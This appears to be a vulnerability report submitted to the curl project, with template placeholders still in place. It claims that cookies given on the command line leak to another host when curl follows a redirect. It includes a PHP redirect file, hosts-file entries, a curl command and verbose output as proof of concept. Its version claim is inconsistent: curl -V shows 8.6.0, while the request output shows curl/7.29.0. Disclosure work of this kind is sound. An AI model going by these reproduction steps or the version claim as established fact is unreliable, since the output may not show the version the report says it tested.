cookie is sent on redirect

How it was found

Summary:

[add summary of the vulnerability]

Curl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect.

Steps To Reproduce:

[add details for how we can reproduce the issue]

1.Create a 302.php file, such as:

<?php
header("Location: http://a.com:8000");
?>

Add the 2 record in the /etc/hosts file:

127.0.0.1 a.com
127.0.0.1 b.com

2. curl -vv --cookie 'aaa=2222' http://b.com/302a.php -L The redirect will be followed, and the confidential headers cookie will be sent to a.com:

# ./curl -V
curl 8.6.0 (x86_64-pc-linux-gnu) libcurl/8.6.0 OpenSSL/1.0.2k-fips zlib/1.2.7
Release-Date: 2024-01-31
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz NTLM SSL threadsafe UnixSockets
# curl -vv --cookie 'aaa=2222'  http://b.com/302a.php -L
* About to connect() to b.com port 80 (#0)
*   Trying 127.0.0.1...
* Connected to b.com (127.0.0.1) port 80 (#0)
> GET /302a.php HTTP/1.1
> User-Agent: curl/7.29.0
> Host: b.com
> Accept: */*
> Cookie: aaa=2222
>
< HTTP/1.1 302 Found
< Date: Fri, 02 Feb 2024 08:49:12 GMT
< Server: Apache/2.4.6 (CentOS) PHP/5.4.16
< X-Powered-By: PHP/5.4.16
< Location: http://a.com:8000
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host b.com left intact
* Issue another request to this URL: 'http://a.com:8000'
* About to connect() to a.com port 8000 (#1)
*   Trying 127.0.0.1...
* Connected to a.com (127.0.0.1) port 8000 (#1)
> GET / HTTP/1.1
> User-Agent: curl/7.29.0
> Host: a.com:8000
> Accept: */*
> Cookie: aaa=2222

This does not comply with RFC regulations and is inconsistent with browser behavior, and RFC also states that redirection requires deleting cookies. https://www.ietf.org/rfc/rfc9110.txt

3.  Consider removing header fields that were not automatically
       generated by the implementation (i.e., those present in the
       request because they were added by the calling context) where
       there are security implications; this includes but is not limited
       to Authorization and Cookie.

Supporting Material/References:

[list any additional material (e.g. screenshots, logs, etc.)]

• [attachment / reference] https://www.ietf.org/rfc/rfc9110.txt

Impact

Leak of confidential information (user credentials).